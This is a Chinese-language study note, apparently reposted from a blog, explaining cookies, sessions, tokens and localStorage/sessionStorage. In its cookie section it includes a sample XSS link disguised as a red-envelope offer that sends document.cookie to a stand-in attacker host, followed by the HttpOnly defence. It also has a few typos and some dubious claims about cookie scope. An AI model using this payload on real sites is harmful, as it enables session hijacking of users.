一, cookie
1,cookie 是用户首次访问服务器, 服务器返回给客户端的一个身份 id, 之后每次请求, cookie 都会被携带在请求头中发送给服务器.[通俗讲就是第一次访问的时候,
服务器生成一个锁芯 (session) 然后把开这个锁的钥匙 (cookie) 返回给客户端, 之后用户每次访问服务器都会携带钥匙去开锁访问]
2,cookie 如果不设置过期时间, 就是会话 cookie, 浏览器关闭就消失. 否则就是持久 cookie, 在过期之前, cookie 都是一直存在的, 并且持久 cookie 可以被不同浏览器共享.
3, 前端可以通过
- document.cookie = "user=heihei";
- console.log(document.cookie);
设置和获取 cookie, 可以设置过期时间, 有大小限制, 只能存储大约 4kb.
4,cookie 的属性:
a,cookie 的域, 产生 Cookie 的服务器可以向 set-Cookie 响应首部添加一个 Domain 属性来控制哪些站点可以看到那个 cookie, 如:
Set-Cookie: name="heihei"; domain="m.zhuanzhuan.58.com"
如果用户访问的是 m.zhuanzhuan.58.com 那就会发送 cookie: name="heihei", 如果用户访问 www.aaa.com(非 zhuanzhuan.58.com)就不会发送这个 Cookie.
b, 并且如果是子域设置了 cookie, 那么, 子域可以访问主域的 cookie, 反之主域不能访问子域的 cookie, 中午就涉及到 path 属性
例如: m.zhuanzhuan.58.com 和 m.zhaunzhuan.58.com/user / 这两个 url. m.zhuanzhuan.58.com 设置 cookie
Set-cookie: id="123432";domain="m.zhuanzhuan.58.com";
m.zhaunzhuan.58.com/user/ 设置 cookie:
Set-cookie:user="wang", domain="m.zhuanzhuan.58.com"; path=/user/
但是访问其他路径 m.zhuanzhuan.58.com/other / 就会获得
cookie: id="123432"
如果访问 m.zhuanzhuan.58.com/user / 就会获得
- cookie: id="123432"
- cookie: user="wang"
- c,secure
设置了属性 secure,cookie 只有在 https 协议加密情况下才会发送给服务端. 但是这并不是最安全的, 由于其固有的不安全性, 敏感信息也是不应该通过 cookie 传输的.
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure;
5,cookie 劫持(跨站点脚本 XSS)
使用跨站点脚本技术可以窃取 cookie. 当网站允许使用 JavaScript 操作 cookie 的时候, 就会发生攻击者发布恶意代码攻击用户的会话, 同时可以拿到用户的 cookie 信息.
例子:
<a href="#" onclick=`window.location=http://abc.com?cookie=${docuemnt.cookie}`>领取红包</a>
当用户点击这个链接的时候, 浏览器就会执行 onclick 里面的代码, 结果这个网站用户的 cookie 信息就会被发送到 abc.com 攻击者的服务器.
攻击者同样可以拿 cookie 搞事情.
解决办法: 可以通过 cookie 的 HttpOnly 属性, 设置了 HttpOnly 属性, JavaScript 代码将不能操作 cookie.
二, session
1, 一种会话机制, 用来记录客户信息, 存储在服务端, 无大小限制.
三, token
1,token 的意思是 "令牌", 是服务端生成的一串字符串, 作为客户端进行请求的一个标识.
2, 当用户第一次登录后, 服务器生成一个 token 并将此 token 返回给客户端, 以后客户端只需带上这个 token 前来请求数据即可, 无需再次带上用户名和密码.
3, 简单 token 的组成; uid(用户唯一的身份标识),time(当前时间的时间戳),sign(签名, token 的前几位以哈希算法压缩成的一定长度的十六进制字符串.
为防止 token 泄露).
客户端使用用户名和密码请求登录. 服务端收到请求, 验证用户名和密码. 验证成功后, 服务端会生成一个 token, 然后把这个 token 发送给客户端.
客户端收到 token 后把它存储起来, 可以放在 cookie 或者 Local Storage(本地存储)里. 客户端每次向服务端发送请求的时候都需要带上服务端发给的 token.
服务端收到请求, 然后去验证客户端请求里面带着 token, 如果验证成功, 就向客户端返回请求的数据.
四, webStorage
WebStorage 两个主要目标:(1)提供一种在 cookie 之外存储会话数据的路径.(2)提供一种存储大量可以跨会话存在的数据的机制.
html5 的 WebStorage 提供了两种 API:localStorage(本地存储)和 sessionStorage(会话存储).
1, 生命周期: localStorage:localStorage 的生命周期是永久的, 关闭页面或浏览器之后 localStorage 中的数据也不会消失.
localStorage 除非主动删除数据, 否则数据永远不会消失.
sessionStorage 的生命周期是在仅在当前会话下有效. sessionStorage 是在同源的窗口中始终存在的数据. 只要这个浏览器窗口没有关闭,
即使刷新页面, 数据依然存在. 但是 sessionStorage 在关闭了浏览器窗口后就会被销毁.
同时独立的打开同一个窗口同一个页面, sessionStorage 也是不一样的.
2, 存储大小: localStorage 和 sessionStorage 的存储数据大小一般都是: 5MB
3, 存储位置: localStorage 和 sessionStorage 都保存在客户端, 不与服务器进行交互通信.
4, 存储内容类型: localStorage 和 sessionStorage 只能存储字符串类型, 对于复杂的对象可以使用 ECMAScript 提供的 JSON 对象的 stringify 和 parse 来处理
5, 获取方式: localStorage:Windows.localStorage;;sessionStorage:Windows.sessionStorage;.
6, 应用场景: localStoragese: 常用于长期登录(+ 判断用户是否已登录), 适合长期保存在本地的数据. sessionStorage: 敏感账号一次性登录;
来源: http://www.bubuko.com/infodetail-3133505.html